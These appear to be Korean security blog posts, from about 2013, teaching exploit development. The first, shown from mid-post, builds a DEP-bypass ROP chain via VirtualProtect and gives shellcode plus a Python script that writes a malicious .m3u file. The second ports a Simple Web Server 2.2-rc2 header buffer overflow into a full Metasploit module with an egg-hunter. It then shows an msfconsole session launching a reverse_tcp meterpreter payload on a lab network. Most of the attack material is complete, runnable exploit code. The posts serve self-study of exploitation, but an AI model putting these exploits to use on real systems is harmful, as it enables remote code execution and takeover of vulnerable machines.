 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)  

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77107d1d)  

 rop_param1 += struct.pack('<L',0x77107d1d)  

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77D94115)  

 rop_param1 += padding

 6

 ROP3 for VirtualProtect Parameter1 

 Parameter1 값 생성 및 입력 

 7

 ROP4 for VirtualProtect Parameter2

 Parameter2 값 생성 및 입력

 8

 ROP5 for VirtualProtect Parameter3

 Parameter3 값 생성 및 입력

 9

 Jump to VirtualProtect()

 4 로 돌아감 

 10

 Nop + Shellcode 

 4에서 VirtualProtect() 실행 후 돌아올 주소(쉘코드)

High Address




5) ROP3 for VirtualProtect Parameter1


 위와 같은 방식으로 Parameter1 을 구성해 준다. 단, ESI 값을 4 증가시켜 스택에서 다음 인자값 주소를 가리키도록 

 

 한다. 이외에는 4)와 거의 동일하다. 첫번째 파라미터는 메모리 실행권한을 추가해 줄 주소이며, 이미 저장해둔


 EAX의 스택 포인터 값을 재활용 하면 된다. 



 * ROP3

rop_param2 = struct.pack('<L',0x76a6131e) # PUSH EAX # POP ESI # RETN

rop_param2 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN   

rop_param2 += padding

rop_param2 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param2 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param2 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param2 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param2 += struct.pack('<L',0x77D94115)  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN

rop_param2 += padding




6) ROP4 for VirtualProtect Parameter2


 역시 동일한 방식으로 진행하여 파라미터값 0x300 을 만들어서 값을 써준다. 파라미터1에서 지정해준 값부터 


 이 파라미터2 의 값의 크기만큼 실행권한을 추가해 주게 되므로, 원하는 만큼 값을 크게 주어도 상관없다.


 0x300 이면 Nop 를 포함한 쉘코드가 충분히 들어갈 크기이므로 적당히 0x300 으로 해도 된다.



 * ROP4

rop_param3 = struct.pack('<L',0x76a6131e) # PUSH EAX # POP ESI # RETN

rop_param3 += struct.pack('<L',0x100307A9) # XOR EAX, EAX

rop_param3 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN   

rop_param3 += padding

rop_param3 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN   

rop_param3 += padding

rop_param3 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN   

rop_param3 += padding

rop_param3 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param3 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param3 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param3 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param3 += struct.pack('<L',0x77D94115)  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN

rop_param3 += padding





7) ROP5 for VirtualProtect Parameter3


 위와 동일. 다만 실행 권한을 주어야 하므로 값을 0x40 이 되도록 해준다.


* ROP5

rop_param4 = struct.pack('<L',0x76a6131e) # PUSH EAX # POP ESI # RETN

rop_param4 += struct.pack('<L',0x100307A9) # XOR EAX, EAX

rop_param4 += struct.pack('<L',0x1002dc41) # ADD EAX,40 # POP EBP # RETN  

rop_param4 += padding 

rop_param4 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param4 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param4 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param4 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param4 += struct.pack('<L',0x77D94115)  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN

rop_param4 += padding



여기까지 정상적으로 수행이 되었다면 이제 VirtualProtect 의 인자값은 모두 구성이 되었다. 이제 남은 것은


VirtualProtect() 를 실행하고, 쉘코드의 주소로 점프하여 원하는 쉘코드를 실행하는 것이다.






8) Jump to VirtualProtect()


* Jump to &VirtualProtect()

rop_virtual_jump = struct.pack('<L',0x76A612F1) # SUB EAX,4 # RET

rop_virtual_jump += struct.pack('<L',0x76A612F1) # SUB EAX,4 # RET

rop_virtual_jump += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_virtual_jump += struct.pack('<L',0x73d55858) # PUSH EAX # POP ESP # POP EDI # POP ESI # RETN


스택의 특정 주소로 돌아가는 것은 POP ESP 명령을 통해 수행할 수 있으며, 이 값을 조절하기 위해 이미 저장해 둔


스택포인터 EAX를 활용한다. 즉 PUSH EAX / POP ESP / RETN 명령을 수행하면 결국 EAX에 저장되어 있던 주소로


돌아가게 될 것이다. 이 가젯에 POP 이 2번 더 들어가 있기 때문에 이 명령을 수행하기 전에 SUB EAX,4 를 통해


스택주소값을 맞춰준다. 이제 준비는 다 되었다.




9) Nop + Shellcode


 이 부분은 따로 설명하지 않겠다. 일반적인 0x90 과 쉘코드이다.


* Nop + shellcode

nops = "\x90" * 260 

shellcode ="\x55\x8b\xec\x83\xec\x44\xc6\x45\xfc\x63\xc6\x45\xfd\x6d\xc6\x45\xfe"

shellcode +="\x64\x6a\x05\x8d\x45\xfc\x50\xb8\xad\x23\x86\x7c\xff\xd0\x6a\x01\xb8"

shellcode +="\xfa\xca\x81\x7c\xff\xd0"






# 최종 Payload


위에서 설명한 가젯들을 연결해 보면 아래와 같다.


Low Address

 1

 AAAAAAAAA....

 buffer = "A"*26104

 2

 Stack Pivot

 eip = struct.pack('<L', 0x100102dc)  

 3

 ROP1 for Save Stack Pointer

 rop0 = struct.pack('<L',0x1002e892) 
 rop0 += struct.pack('<L',0x1002627d)
 rop0 += padding
 rop0 += padding
 rop0 += struct.pack('<L',0x100128f7)
 rop0 += padding
 rop0 += padding
 rop_jump = struct.pack('<L',0x10015340)

 4

 VirtualProtect() Addr + Parameters

 rop_virtual = struct.pack('<L',0x7C801AD4)    

 rop_ret = struct.pack('<L',0x01010101)

 rop_lpaddr = struct.pack('<L',0x42424242)

 rop_size = struct.pack('<L',0x43434343)

 rop_newprotect = struct.pack('<L',0x44444444)

 rop_writable = struct.pack('<L',0x10035005)

 5

 ROP2 for RET(Shellcode)

 rop_param1 = struct.pack('<L',0x7631982F)

 rop_param1 += struct.pack('<L',0x1002dc4c)

 rop_param1 += padding 

 rop_param1 += padding 

 rop_param1 += struct.pack('<L',0x1002dc4c)

 rop_param1 += padding 

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)  

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77107d1d)  

 rop_param1 += struct.pack('<L',0x77107d1d)  

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77D94115)  

 rop_param1 += padding

 6

 ROP3 for VirtualProtect Parameter1 

 rop_param2 = struct.pack('<L',0x76a6131e) 

 rop_param2 += struct.pack('<L',0x1002dc4c)

 rop_param2 += padding

 rop_param2 += struct.pack('<L',0x77107d1d)

 rop_param2 += struct.pack('<L',0x77107d1d)

 rop_param2 += struct.pack('<L',0x77107d1d)

 rop_param2 += struct.pack('<L',0x77107d1d)

 rop_param2 += struct.pack('<L',0x77D94115)

 rop_param2 += padding

 7

 ROP4 for VirtualProtect Parameter2

 rop_param3 = struct.pack('<L',0x76a6131e) 

 rop_param3 += struct.pack('<L',0x100307A9)

 rop_param3 += struct.pack('<L',0x1002dc4c) 

 rop_param3 += padding

 rop_param3 += struct.pack('<L',0x1002dc4c)

 rop_param3 += padding

 rop_param3 += struct.pack('<L',0x1002dc4c) 

 rop_param3 += padding

 rop_param3 += struct.pack('<L',0x77107d1d)  

 rop_param3 += struct.pack('<L',0x77107d1d)

 rop_param3 += struct.pack('<L',0x77107d1d)  

 rop_param3 += struct.pack('<L',0x77107d1d)

 rop_param3 += struct.pack('<L',0x77D94115) 

 rop_param3 += padding

 8

 ROP5 for VirtualProtect Parameter3

 rop_param4 = struct.pack('<L',0x76a6131e) 

 rop_param4 += struct.pack('<L',0x100307A9)

 rop_param4 += struct.pack('<L',0x1002dc41)

 rop_param4 += padding 

 rop_param4 += struct.pack('<L',0x77107d1d)

 rop_param4 += struct.pack('<L',0x77107d1d)

 rop_param4 += struct.pack('<L',0x77107d1d)

 rop_param4 += struct.pack('<L',0x77107d1d)

 rop_param4 += struct.pack('<L',0x77D94115)

 rop_param4 += padding

 9

 Jump to VirtualProtect()

 rop_virtual_jump = struct.pack('<L',0x76A612F1) 

 rop_virtual_jump += struct.pack('<L',0x76A612F1) 

 rop_virtual_jump += struct.pack('<L',0x77107d1d)  

 rop_virtual_jump += struct.pack('<L',0x73d55858) 

 10

 Nop + Shellcode 

 nops = "\x90" * 260 

 shellcode ="\x55\x8b\xec\x83\xec\x44..."

High Address




이제 이 payload 를 파일로 만드는 코드를 작성하자.



 # rop_rm2mp3.py

import sys

import struct

s = "A"*26104 Virtualprotect = 0x7C801AD4 padding = struct.pack('<L',0x41414141) # ======= stack pivot =======# eip = struct.pack('<L', 0x100102dc) # retn eip += padding # ======== save stack pointer ========== # [ esp -> eax,edi ] rop0 = struct.pack('<L',0x1002e892

# PUSH ESP # AND AL,10 # POP ESI # MOV DWORD PTR DS:[EDX],ECX # RETN rop0 += struct.pack('<L',0x1002627d

# MOV EAX,ESI # POP EDI # POP ESI # RETN rop0 += padding # for pop edi rop0 += padding # for pop esi rop0 += struct.pack('<L',0x100128f7) # PUSH EAX # POP EDI # POP ESI # POP EBX # RETN rop0 += padding # for pop esi rop0 += padding # for pop ebx rop_jump = struct.pack('<L',0x10015340) # ADD ESP,18 # RETN / jump rop2 for param1 # ======= virtualprotect params ======== # rop_virtual = struct.pack('<L',Virtualprotect) rop_ret = struct.pack('<L',0x01010101) rop_lpaddr = struct.pack('<L',0x42424242) rop_size = struct.pack('<L',0x43434343) rop_newprotect = struct.pack('<L',0x44444444) rop_writable = struct.pack('<L',0x10035005) # ======== make param1 ====== # param1 = return address ( shellcode address ) rop_param1 = struct.pack('<L',0x7631982F) # XCHG ESI,EDI # DEC ECX # RETN 4 rop_param1 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop_param1 += padding # for retn 4 rop_param1 += padding # for retn 4 rop_param1 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop_param1 += padding rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param1 += struct.pack('<L',0x77D94115) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop_param1 += padding # ======== make param2 ====== # param2 = lpaddress ( shellcode address ) rop_param2 = struct.pack('<L',0x76a6131e) # PUSH EAX # POP ESI # RETN rop_param2 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop_param2 += padding rop_param2 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param2 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param2 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param2 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param2 += struct.pack('<L',0x77D94115) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop_param2 += padding # ======== make param3 ====== # param3 = 0x300 rop_param3 = struct.pack('<L',0x76a6131e) # PUSH EAX # POP ESI # RETN rop_param3 += struct.pack('<L',0x100307A9) # XOR EAX, EAX rop_param3 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop_param3 += padding rop_param3 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop_param3 += padding rop_param3 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop_param3 += padding rop_param3 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param3 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param3 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param3 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param3 += struct.pack('<L',0x77D94115) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop_param3 += padding # ========= make param4 ====== # param4 = 0x40 rop_param4 = struct.pack('<L',0x76a6131e) # PUSH EAX # POP ESI # RETN rop_param4 += struct.pack('<L',0x100307A9) # XOR EAX, EAX rop_param4 += struct.pack('<L',0x1002dc41) # ADD EAX,40 # POP EBP # RETN rop_param4 += padding rop_param4 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param4 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param4 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param4 += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_param4 += struct.pack('<L',0x77D94115) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop_param4 += padding # ======== jump virtualprotect ======= # rop_virtual_jump = struct.pack('<L',0x76A612F1) # SUB EAX,4 # RET rop_virtual_jump += struct.pack('<L',0x76A612F1) # SUB EAX,4 # RET rop_virtual_jump += struct.pack('<L',0x77107d1d) # INC ESI # RETN rop_virtual_jump += struct.pack('<L',0x73d55858) # PUSH EAX # POP ESP # POP EDI # POP ESI # RETN # ======== payload ======== # shellcode ="\x55\x8b\xec\x83\xec\x44\xc6\x45\xfc\x63\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\x6a\x05\x8d\x45\xfc"

shellcode +="\x50\xb8\xad\x23\x86\x7c\xff\xd0\x6a\x01\xb8\xfa\xca\x81\x7c\xff\xd0" nops = "\x90" * 260

payload = s + eip + rop0 + rop_jump + \ rop_virtual + rop_ret + rop_lpaddr + rop_size + rop_newprotect + rop_writable + \ rop_param1 + rop_param2 + rop_param3 + rop_param4 + rop_virtual_jump + nops + shellcode

f = open('rop.m3u','w') f.write(payload) f.close()



이 코드를 실행하여 생성된 rop.m3u 파일을 넣고 실행하여 보면 DEP 를 우회하여 쉘이 실행되는 것을 확인할 수 있


다. :)








 ps. 쓰고보니 너무 기네요 . ㅎㅎ 읽느라 수고하셨습니다.

토닥토닥




  1. BlogIcon Leopardan 2013.06.18 14:12 신고

    역시 현민이형 乃

  2. binish 2013.06.24 11:17

    이리 열심히 공부하다니,, /토닥토닥/

  3. craft 2013.06.25 15:39

    잘보고갑니다~ ^^

  4. msBang 2013.06.28 10:05

    언제나 멋지십니다. ^^

  5. Happy 2015.09.09 22:00

    멋짐 ㅋㅋㅋ


이번 주제는 Metasploit 을 활용하여 exploit 을 제작하는 것입니다.


exploit 을 제작할 때 물론 perl, python, ruby 등의 스크립트 언어도 많이 이용하지만, 실용성을 높이려면 exploit 


framework 인 metasploit 을 이용하여 제작하는 것이 좋습니다. metasploit 은 무료임에도 불구하고(물론 유료 버전도 


존재합니다만, GUI 일 뿐 그다지 크게 좋은지는 모르겠습니다.) 기본적인 exploit 골격을 제공할 뿐 아니라 공격 후의 


payload , encoder 등의 다양한 도구까지 제공해 줍니다. 즉, 사용자는 그저 발견한 취약점에 특화된 부분(offset 등) 


만을 추가하면 됩니다. 


=========================================================================================================



이번에 사용될 프로그램은 나름 최근(2012-07-19, http://www.exploit-db.com/exploits/19937/)에 발표한 Simple 


Web Server 2.2 rc2 이다. 이 프로그램은 HTTP Protocol 을 파싱하는 과정에서 Connection: 헤더를 읽어올 때 전형


적인 BOF 가 발생한다.



# simple web server 2.2-rc2 버전


해당 프로그램은 아래와 같이 웹서버의 역할을 하도록 해주는 어플리케이션이며, 간단히 접속 테스트를 해보았다.







# 공개된 취약점을 이용한 exploit 코드 제작


crash 가 발생하는 offset 이 2048 인 것만 알면 그다지 어려울 것은 없다. 단순히 junk 를 채우고 eip 를 덮어 씌운 뒤 


쉘코드를 입력하면 된다. 쉘코드가 긴 것을 별로 좋아하지 않아 메타스플로잇이 생성해준 것 대신 개인적으로 만든 쉘


코드를 사용한다. 실행만 되면 되잖아 :) 

 

 

# 45 바이트 쉘코드 ( 한글 xp sp3 에서만 동작함. 함수주소가 하드코딩 되어 있으므로 )

"\x55\x8b\xec\x83\xec\x44\x33\xc9\x88\x4d\xff\xc6\x45\xfc\x63"

"\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\x6a\x05\x8d\x45\xfc\x50\xb8"

"\xad\x23\x86\x7c\xff\xd0\x6a\x01\xb8\xfa\xca\x81\x7c\xff\xd0"







# 해당 공격코드를 실행하여 대상PC에 쉘코드가 실행됨을 확인



공격 코드 실행하면 위와 같이 대상 PC 에서 쉘이 뜬다. 이제 exploit 코드를 작성했으니, 활용성을 높이기 위해 메타


스플로잇으로 포팅해보자. 메타스플로잇으로 코드를 작성해 두면 때에 따라 원하는 payload 를 실행할 수 있으며 매


번 프로그래밍을 다시 하는 단순 작업을 피할 수 있다.




# 메타스플로잇 모듈 작성


 - 모듈 위치 : /opt/framework/msf3/modules/   ( 아래와 같이 각 OS 별로 정리되어 있음 )

 - 모듈 언어 : ruby

 

 root@hyunmini:/opt/framework/msf3/modules/exploits# ls

aix  bsdi  dialup  freebsd  hpux  irix  linux  multi  netware  osx  solaris  unix  windows


새로운 모듈을 처음부터 작성하기 보단, 이미 완성된 수많은 훌륭한 익스플로잇을 복사하여 수정하자 ( -_- ㅋ)


몇 번 해보면 알겠지만 정해진 틀에 맞추어 offset, payload, header 등만을 수정해 주면 된다.


여기에선 windows/misc 내부의 익스플로잇을 하나 복사해서 썼다.



 require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote     // 리모트 익스플로잇 모듈 상속

Rank = GoodRanking                         // 익스플로잇의 신뢰도

include Msf::Exploit::Remote::Tcp       


def initialize(info = {})

super(update_info(info,

'Name'           => 'Simple Web Server stack overflow',     // 익스플로잇 모듈명

'Description'    => %q{

This module exploits a stack buffer overflow in the Simple Web Server.  // 설명

},

'Author'         => [ 'hyunmini' ],          // 제작자

'License'        => MSF_LICENSE,       // 라이센스

'Version'        => '$Revision: 7777 $' , // 버전 (자체적인 버전을 의미)

'References'     =>

[

[ 'URL', 'http://www.exploit-db.com/exploits/19937/'],   

                                 // 참고 URL 이나 취약점 분류코드 등

],

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',          // 기본 옵션값 세팅

},


'Privileged'     => true,

'Payload'        =>                // Payload 설정 (중요!!)

{

'Space'    => 1000,                    // payload 를 넣을 수 있는 공간 사이즈

'BadChars' => "\x00\x0a\x0d\x3a\x20",  // 포함되면 안되는 문자 ( 중요!! )

'StackAdjustment' => -3500,

},


'Platform'       => ['win'],

'Targets'        =>

[

[ 'Windows XP SP3 - KOR',     { 'Ret' => 0x77d256f7 } ],  // OS, 패치별 ret 주소 

],

'DisclosureDate' => 'Aug 28 2012',

'DefaultTarget' => 0))


register_options([Opt::RPORT(80)], self.class)      // exploit 옵션 추가 및 디폴드값 설정

end


def exploit   // 실제 exploit 명령 시 실행되는 함수 

connect


sploit = "\x41" *  2048

sploit << [target.ret].pack('V')    // payload 에서 설정한 ret 주소가 자동 설정됨

                sploit << payload.encode   // 인코딩된 쉘코드


res = "GET / HTTP/1.0\r\n"

res += "Connection:#{sploit}\r\n\r\n"


print_status("Sending Payload #{target.name}...")

sock.put(res)  // 패킷 전송

print_status("OK!! Exploitation Done !!")

handler   // metasploit 핸들러

disconnect

end

end





크게 어려운 것은 없다. 대부분 위와 같은 형식을 가지고 있으며 보면 알겠지만 ret 주소, 익스플로잇 공간 등 일부분만 


수정해주면 된다.



# payload 설정 부분

'Payload'        =>                // Payload 설정 (중요!!)

{

'Space'    => 1000,                    // payload 를 넣을 수 있는 공간 사이즈

'BadChars' => "\x00\x0a\x0d\x3a\x20",  // 포함되면 안되는 문자 ( 중요!! )

'StackAdjustment' => -3500,

}, 


Space 는 metasploit 을 이용하여 payload 를 지정할 때, 이용할 수 있는 최대한의 버퍼 크기이다. bof 의 경우 eip 를 


덮은 이후 jmp esp 등으로 쉘코드를 실행시킨다. 즉 버퍼이후 부터 쉘코드의 끝지점 정도가 payload 를 넣을 수 있는 


크기가 될 것이고, 생각보다 크지 않다. 일반적인 범용적인 쉘코드(자동 생성된)의 경우 3~500 바이트 정도의 크기이


다. 물론 직접 가지고 있는 쉘코드를 입력해서 사용하면 더 작은 공간만으로도 payload 구성이 가능하며, 이후에 알아


볼 테크닉인 egg hunting 이라는 기술을 통해 쓰레기값 대신 쉘코드를 버퍼 앞쪽에 넣고, egg(쉘코드 시작점을 알리


는 태그 정도로 보면 된다) 를 찾는 방법으로 더 넓은 공간을 확보할 수 있다.





그런데, 실행해보면 정상적으로 공격코드가 실행되지 않는 것을 볼 수 있다. wireshark 로 패킷을 잡아보면 분명히 패


킷은 전송이 되는데 실행이 되지 않는다. 이유는 위에서도 설명한 payload 문제이다. 



# 인코딩 된 쉘코드

 root@hyunmini # msfpayload windows/exec cmd=calc c | msfencode -e x86/alpha_mixed

[*] x86/alpha_mixed succeeded with size 1980 (iteration=1)


buf = 

"\x89\xe5\xdb\xd4\xd9\x75\xf4\x58\x50\x59\x49\x49\x49\x49" +

"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" +

"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" +

"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" +

"\x42\x75\x4a\x49\x66\x4f\x65\x7a\x56\x6a\x55\x70\



위와 같이 인코딩을 하게 되면 용량이 훌쩍 커진다. 물론 알고리즘에 따라 다르긴 하지만, 보통 500 정도는 된다. 00, 


0a 등의 badchar 때문에 인코딩을 안하면 payload 가 정상적으로 입력이 안될 수 있으므로 인코딩은 항상 해주는 것


이 좋다. 어쨋건 이런 부분 때문에 항상 space 가 충분한지 확인을 하고, 공간이 너무 적다면 egg-hunting 을 통해 버


퍼의 앞부분에 쉘코드를 입력할 공간을 마련하는 것이 좋다. egg-hunting에 대한 자세한 포스팅은 이후에 다시 할 예


정이니 우선 완성된 코드로 진행을 해 보겠다. 우선은 개념 정도만 알고 넘어가자.



# Egg-hunting 개념으로 쉘코드가 앞부분에 위치하는 payload 로 구성한 완성된 exploit


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::Tcp


def initialize(info = {})

super(update_info(info,

'Name'           => 'Simple Web Server stack overflow',

'Description'    => %q{

This module exploits a stack buffer overflow in the Simple Web Server.

},

'Author'         => [ 'hyunmini' ],

'License'        => MSF_LICENSE,

'Version'        => '$Revision: 7777 $',

'References'     =>

[

[ 'URL', 'http://www.exploit-db.com/exploits/19937/'],

],

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

},


'Privileged'     => true,

'Payload'        =>

{

'Space'    => 1000,

'BadChars' => "\x00\x0a\x0d\x3a\x20",

'StackAdjustment' => -3500,

},


'Platform'       => ['win'],

'Targets'        =>

[

[ 'Windows XP SP3 - KOR',     { 'Ret' => 0x77d256f7 } ],

],

'DisclosureDate' => 'Aug 28 2012',

'DefaultTarget' => 0))


register_options([Opt::RPORT(80)], self.class)

end


def exploit

connect


sploit = rand_text_alpha_upper( 2048 - "w00tw00t".length - (payload.encode).length )

sploit << "w00tw00t"   // egg (tag)

sploit << payload.encode

sploit << [target.ret].pack('V')

sploit <<            // egg-hunting code "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8w00t\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

res = "GET / HTTP/1.0\r\n"

res += "Connection:#{sploit}\r\n\r\n"


print_status("Sending Payload #{target.name}...")

sock.put(res)

print_status("OK!! Exploitation Done !!")

handler

disconnect

end

end


 



자 위의 코드로 다시 공격을 해보자.



root # msfconsole

          .....

          ....


msf > use exploit/windows/misc/hyunmini 

msf  exploit(hyunmini) > set rhost 192.168.48.3

rhost => 192.168.48.3

msf  exploit(hyunmini) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf  exploit(hyunmini) > set lport 7777

lport => 7777

msf  exploit(hyunmini) > show options 


Module options (exploit/windows/misc/hyunmini):


   Name   Current Setting  Required  Description

   ----   ---------------  --------  -----------

   RHOST  192.168.48.3     yes       The target address

   RPORT  80               yes       The target port



Payload options (windows/meterpreter/reverse_tcp):


   Name      Current Setting  Required  Description

   ----      ---------------  --------  -----------

   EXITFUNC  thread           yes       Exit technique: seh, thread, process, none

   LHOST                      yes       The listen address

   LPORT     7777             yes       The listen port



Exploit target:


   Id  Name

   --  ----

   0   Windows XP SP3 - KOR



msf  exploit(hyunmini) > set lhost 192.168.48.128

lhost => 192.168.48.128

msf  exploit(hyunmini) > exploit







공격이 성공하고 쉘이 얻어진 것을 확인 할 수 있다. 


더이상의 설명은 생략한다 ( -_- !)




수고하셨습니다~ ㅎㅎ 


토닥토닥






+ Recent posts